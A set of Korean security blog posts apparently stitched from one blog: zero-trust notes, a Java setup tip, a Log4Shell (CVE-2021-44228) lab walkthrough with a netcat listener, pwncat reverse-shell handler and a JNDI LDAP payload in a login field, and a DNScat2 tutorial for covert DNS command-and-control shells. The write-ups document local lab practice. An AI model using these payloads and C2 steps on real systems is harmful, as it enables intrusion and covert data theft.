제로트러스트 모델
- 보호해야 하는 모든 데이터와 컴퓨팅 서비스를 각각의 자원으로 개별적 분리하여 (segmentation) 생각하고, 보호함
- 기업망 침투시 특정 사용자 및 기기의 의심스런 활동에 대해 검증( 기기 보안상태 체크, 행위 모니터링, 신뢰도 검증), 인증 강화 및 내부자원 이동 제한(추가 인증 요청, 최소 권한 부여, micro-segmentation) 
- 내부 기기내 설치된 정상 프로그램에 대해서도 연결 권한 확인
- 철학 : 선인증 후접속
- 핵심원칙 : 인증 체계 강화 / micro-segmentation / sw 정의 경계
- micro-segmentation : 보안 게이트웨이를 통해 보호되는 단독 네트워크 구역에 개별 자원 배치(횡적 이동)
- 도입시, 보호해야 할 데이터 및 컴퓨팅 서비스에 PEP 또는 제로트러스트 게이트웨이 배치 *PEP는 PDP의 허가를 받아야 가능


데이터 흐름
-접근 허용 앱 1 + 허용 리소스 1 
-암호화된 터널링으로 데이터 전송
-동시에 세션 레벨에서 인증
-사용자가 접근 허용 앱 1을 통하여 허용 리소스 1에 접근
-동시에 동적 인증 진행
-데이터 흐름 모니터링




*왜 대기업들은 높은 수준의 보안 기술을 사용함에도 해킹 당하는가?
1. 탈취된 임직원 계정으로 로그인 후 기업망 침투 임직원계정 노출 보호
2. 회사 관리 자산이 아닌 기기로 기업망 접근 관리 자산이 아닌 기기로 접근시 차단
3. 내부 침투 후 기업망 내부 네트워크 정찰 또는 주요 서버 접근 내부에서도 비정상 행위 탐지
4. 대량의 기밀 데이터 획득 후 외부로 유출  내부에서도 비정상 행위 탐지

'네트워크' 카테고리의 다른 글

DNScat2 터널링  (0) 2023.10.20
Zero Trust 이행 단계  (0) 2021.08.22
DDOS 공격 대응 방안  (0) 2021.07.20
OSI 7 layer 패킷 분석  (0) 2021.07.17
수리카타  (0) 2021.07.17
환경
- VMware Pro 
- ubuntu : 22.04


라이브러리
- python : 3.10.12
- java : jdk1.8.0_20
- docker : 24.0.6

#1. 환경 구축

1) 기본 세팅

vmware에 ubuntu 22.04 버전을 설치하여 환경을 구성해야 한다.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install vim

등등 기본적으로 업데이트된 상태를 구성한다.

2) poc 코드 설치

sudo apt install -y git
git clone https://github.com/kozmer/log4j-shell-poc

git을 이용하여 poc 코드를 다운로드 받아준다.

log4j-shell-poc 폴더가 생성됨을 알 수 있다.

3) JAVA JDK 설치

JDK 파일이 있어야 내부 파일들을 실행이 가능하다.

다운로드 경로 : https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 

 

Java Archive Downloads - Java SE 8

We’re sorry. We could not find a match for your search. We suggest you try the following to help find what you’re looking for: Check the spelling of your keyword search. Use synonyms for the keyword you typed, for example, try "application" instead of

www.oracle.com

ubuntu에서 인터넷이 되는 환경에서 브라우저를 통해 jdk .tar 파일을 다운로드해준다.

.tar 파일을 압축해제 한 후 jdk 폴더 자체를 git을 통해 다운로드 받았던 poc 폴더 내에 넣어줘야 한다.

제대로 폴더 경로에 잘 설치되어있지 않으면 위와 같은 에러를 만나게 된다. jdk1.8.0_20 폴더 아래에 바로 bin 폴더가 오도록 잘 셋팅해줘야 한다!!!!!!!!!

4) python3.10 설치

나는 ubuntu를 처음 깔고 백지인 상태에서 시작했기 때문에 python도 새롭게 설치해줘야 했다.

pwncat이라는 모듈을 사용해야 했기에 python 3.9 이상이 필요했다. 

sudo apt-get install python3-pip -y
python3 -V

버전을 확인했을 때 3.9 이상이면 된다.

 python 설치가 완료되면 poc 코드를 실행하기 위한 설정을 해줘야 한다.

pip3 install -r requirements.txt

poc폴더 내에 있는 requirements.txt 로 설정을 마무리해준다.

 

5) pwncat 설치

이번에 처음으로 pwncat을 알게 되었다. reverse shell handler라고 한다.

pip3 install pwncat-cs

pwncat 까지 정상 설치가 되는지 확인한다. 정상적으로 설치되어야 exploit이 가능하다.

 

6) Docker 설치

chatgpt의 힘을 빌려 가상환경 ubuntu 내에 docker를 설치하고자 한다.

#시스템 패키지 업데이트
sudo apt update
#docker에 필요한 패키지 설치
sudo apt install apt-transport-https ca-certificates curl software-properties-common

#Docker 공식 GPG 키 추가
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
#Docker의 저장소 추가
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

#시스템 재 업데이트
sudo apt update




#docker 설치
sudo apt install docker-ce

#Docker 실행 및 상태 확인
sudo systemctl start docker
sudo systemctl enable docker

#sudo 권한 없이 Docker를 사용할 수 있도록 사용자 추가 
sudo usermod -aG docker $USER

#Docker 버전 확인
docker --version

도커가 정상적으로 설치되었다면 위와 같이 버전을 확인할 수 있다.

특정 서버를 도커에 올려서 exploit 가능한 대상으로 만들어야 한다.

#pwd : /home/ubuntu/log4j-shell-poc 

#Dockerfile 올리기
sudo docker build -t log4j-shell-poc .
#올라간 docker이미지 확인
sudo docker images

poc 폴더 내에 있는 Dockerfile 이미지를 올려준다. -t 옵션 뒤에 오는 [log4j-shell-poc]는 생성될 docker이미지명이다.

참고 url을 보면 해당 명령를 이해하기 쉽다.

https://chmodi.tistory.com/177

 

[Line CTF 2023 Write Up] WEB 1번: Baby Simple GoCurl

이번 CTF의 웹 분야 1번 문제 입니다. # 개요 전형적인 SSRF 문제로 내부에서만 접근 가능한 페이지에 접속하여 FLAG를 획득하는 문제 입니다. # 환경 구성 문제 파일을 다운받으면, Docker Image의 내용

chmodi.tistory.com

이미지 리스트에 생성한 docker이미지가 올라간 것을 확인할 수 있다.

 

#docker 실행
sudo docker run --network host log4j-shell-poc

위 명령어를 통해 올라간 도커를 실행해보자. 

웹 브라우저를 실행해 localhost:8080 으로 접속하면 웹 서버가 돌아가고 있음을 확인할 수 있다. (docker 잘 올라감)

 

#2. Exploit 구현

모든 셋팅은 완료되었으니 실제로 exploit을 시도해보고자 한다.

 

1) 리버스 쉘 접속용 (공격자)

nc -lvnp 9001

2) Exploit 시작 (공격자) 

git으로 다운로드 받은 폴더 내 poc.py를 실행해야 한다.

python3 poc.py --userip localhost --webport 8000 --lport 9001

8000 포트 : 웹 접속용

9001 포트 : reverse shell 접속용

 

3)pwncat reverse shell handler 실행 (공격자)

 

앞서 3개의 터미널 창을 띄워놓고 대기...

 

4) docker webapp에 접속 (희생자)

다시 docker를 실행

username  : ${jndi:ldap://localhost:1389/a}
password  : hello!

로그인시 위와 같이 접속을 해보자.

 

#3. 결과

위와 같이 exploit 한 터미널에서 웹 요청이 들어옴을 알 수 있다.

pwncat을 실행한 터미널에서는 connection이 이루어졌음을 확인할 수 있다.

그 후 back 명령어를 통해 remote shell 로 변경되어 해당 서버에 접근할 수 있게 됨을 확인하였다.

 

 

 

 

참고

https://velog.io/@isang/CVE-2021-44228log4shell-%EC%B7%A8%EC%95%BD%EC%A0%90-POC-%EC%8B%A4%EC%8A%B5#%EA%B3%B5%EA%B2%A9%EC%9E%90%EC%B0%BD-3--pwncat-%EC%8B%A4%ED%96%89

 

'WEB' 카테고리의 다른 글

python deserialize 취약점 (pickle)  (0) 2024.01.30
burp proxy 설정 관련  (0) 2023.10.23
오토 스케일링(Auto Scaling)과 클러스터링(Clustering)  (0) 2023.08.30
CSTI XSS  (0) 2023.08.26
API 이해  (0) 2023.07.06

진단을 하면서 계속 burp suite pro 버전을 쓸 때마다 JAVA와 충돌이 많았다. 이걸 해결하는 과정에서 어떻게 해결하였는지 간단하게 점검 사항을 정리하고자 한다.

1. JAVA 버전 확인
- cmd > java -versin 했을 때 설치한 버전이 잘 설치되었는지 확인

2. 시스템 환경 변수 설정 확인
- %JAVA_HOME% 변수의 경로가 잘 맞게 들어갔는지?

3. 중복으로 설치된 또는 이전 버전의 JAVA가 없는지 확인
- 환경변수에 이전 버전의 JDK파일 경로가 존재하지 않는지?
- \Oracle\Java\Javapath  등 불필요한 게 없는지?

JAVA 설치 경로 확인

 

시스템 변수 JAVA_HOME 변수에 경로 추가
환경 변수에 경로 추가
java -version 명령어를 통해 버전 확인 가능

 

계속 JDK 깔았다가.. jre 깔았다가.. 했는데, JAVA 높은 버전 또는 호환성 좋은 버전 JDK 1개만 있으면 된다. 현재는 15버전을 사용하고 있다. 

항상 헷갈렸던 개념 JDK VS jre

JDK : 자바 프로그램을 개발하는 데에 필요함. JDK가 없으면 .jar 같은 파일을 열 수가 없음.
jre : 자바 프로그램을 실행시키는 데에 필요함. (jre는 JDK에 포함되어 있는 경우 => 자바 프로그램 개발과 실행 모두가 가능)

 

참고

https://coding-factory.tistory.com/826

 

'WEB' 카테고리의 다른 글

python deserialize 취약점 (pickle)  (0) 2024.01.30
CVE-2021-44228(log4j 취약점) 취약점 실습  (0) 2023.10.25
오토 스케일링(Auto Scaling)과 클러스터링(Clustering)  (0) 2023.08.30
CSTI XSS  (0) 2023.08.26
API 이해  (0) 2023.07.06

클라이언트와 C2 서버 (command&control) 통신을 하는 취약점을 이용하여 터널링이 가능하다. 그 중, DNS가 있다.

터널링 도구 Dnscat2 를 사용하고자 한다.

DNScat2 란? DNS 프로토콜을 이용하여 command&control를 Stealth mode에서 할 수 있도록 하는 도구

쉘도 딸 수 있고 업로드 다운로드되는 모든 데이터에 대한 접근이 가능하다. 

이 도구가 53번 포트를 통해 동작할 때 접근 권한이 없어도 작동이 가능하다. 단지, 53번과 connection을 잘 맺으면 된다.

하지만, 이 도구를 통한 공격은 로그에 잘 찍힌다는 것..

DNScat2는 client와 server로 구성되어 있는데, client는 C언어, server는 ruby로 작성되어 있다.

공격자 PC에서 git clone을 이용하여 git 파일을 다운로드 받는다.

DNScat2 폴더 내 구조는 위와 같다. 앞서 말했던 것처럼, client와 server 폴더가 별도로 있음을 알 수 있다. 

그 후, /dnscat2/server 폴더로 이동해 ruby로 작성된 server를 구동할 수 있도록 환경을 만들어야 한다.

처음에 명령어들이 이해가 안 갔는데.. gem은 python에서 pip같은 역할이고 (패캐지 및 종속성 관리 도구) Bundler는 ruby 프로젝트 패키지 관리자라고 한다. 즉, gem명령어를 통해서 bundler를 시스템에 설치하는 격..

bundle install 명령은 해당 ruby 프로젝트 디렉토리 내 gemfile를 읽어 해당 파일에 정의된 종속성, 버전 등을 확인하여 필요한 모든 gem들을 설치해주는 것. (python 에서의 requirments.txt 느낌..)

ruby 프로젝트를 실행할 환경이 만들어졌다면 server 내 루비 파일을 실행하면 된다.
0.0.0.0:53 으로 DNScat2 DNS 서버가 Listening되고 있음을 확인할 수 있다.

오른쪽은 내 local 윈도우, 왼쪽은 vmware 공격자 서버이다. 둘은 같은 망에 물려있다.

window : 192.168.237.1  kali : 192.168.237.171

로컬에서 client를 실행하고 서버 ip정보와 포트 53을 명시해주면 공격자 서버 쪽에서 1개의 window created 되었음을 알 수 있다. 보통 보안 장치에서는 53포트를 차단하지 않고 있다.

session이 맺어져있음을 알 수 있고
session -i 1 1번 연결을 통해 command 명령이 가능하다.

shell 명령어를 치면 shell session이 생기는 것을 볼 수 있고 (window 2) 

ipconfig나 ls 명령어 등을 수행하여 내부 PC 데이터를 확인할 수 있다.

 

참고 

https://www.hackingarticles.in/dnscat2-application-layer-cc/

 

DNScat2: Application Layer C&C - Hacking Articles

In today’s world, IT infrastructure and network security devices are becoming more and more secure and hence, ports like 53 (DNS) is used as a

www.hackingarticles.in

 

'네트워크' 카테고리의 다른 글

제로 트러스트 보안 모델  (0) 2023.11.10
Zero Trust 이행 단계  (0) 2021.08.22
DDOS 공격 대응 방안  (0) 2021.07.20
OSI 7 layer 패킷 분석  (0) 2021.07.17
수리카타  (0) 2021.07.17

+ Recent posts